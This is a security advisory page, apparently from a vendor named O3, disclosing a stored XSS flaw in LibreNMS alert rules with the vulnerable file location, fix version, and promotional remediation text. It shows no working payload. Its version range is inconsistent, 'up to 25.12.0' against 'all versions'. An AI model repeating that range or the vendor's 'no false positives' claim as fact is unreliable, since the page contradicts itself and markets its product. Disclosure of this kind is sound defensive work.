MEDIUMLibreNMS has a Stored XSS in Alert Rule
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.
Details
The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alert_rule_list.inc.php.

Steps to reproduce:
-
Create and save an alert rule within a device with the following values:
<img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" /> -
Injected JavaScript is executed:

Impact
Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 26.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6xmx-xr9p-58p7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6xmx-xr9p-58p7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6xmx-xr9p-58p7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6xmx-xr9p-58p7 in your dependencies?
O3 detects GHSA-6xmx-xr9p-58p7 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
